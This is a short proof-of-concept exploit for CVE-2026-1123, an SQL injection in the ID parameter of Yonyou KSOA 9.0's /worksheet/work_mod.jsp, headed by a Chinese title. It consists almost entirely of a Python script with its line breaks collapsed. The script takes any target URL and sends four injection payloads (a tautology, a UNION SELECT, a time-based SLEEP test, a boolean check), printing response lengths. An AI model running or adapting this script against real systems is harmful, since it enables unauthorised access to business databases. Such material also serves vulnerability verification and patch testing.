CVE-2026-1123: 用友KSOA 9.0 /worksheet/work_mod.jsp SQL注入漏洞

import requests import sys # CVE-2026-1123 PoC - Yonyou KSOA 9.0 SQL Injection # Target: /worksheet/work_mod.jsp # Parameter: ID def exploit_sqli(target_url, payload): """ SQL Injection PoC for CVE-2026-1123 This demonstrates the vulnerability in Yonyou KSOA 9.0 """ target = f"{target_url}/worksheet/work_mod.jsp" params = {'ID': payload} try: response = requests.get(target, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-1123.py <target_url>") print("Example: python cve-2026-1123.py http://vulnerable-server:8080") sys.exit(1) base_url = sys.argv[1] # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' AND 1=1--" ] print(f"[*] Testing CVE-2026-1123 on {base_url}") print(f"[*] Target endpoint: /worksheet/work_mod.jsp") print("-" * 50) for payload in payloads: print(f"\n[+] Testing payload: {payload}") result = exploit_sqli(base_url, payload) print(f"Response length: {len(result)} bytes")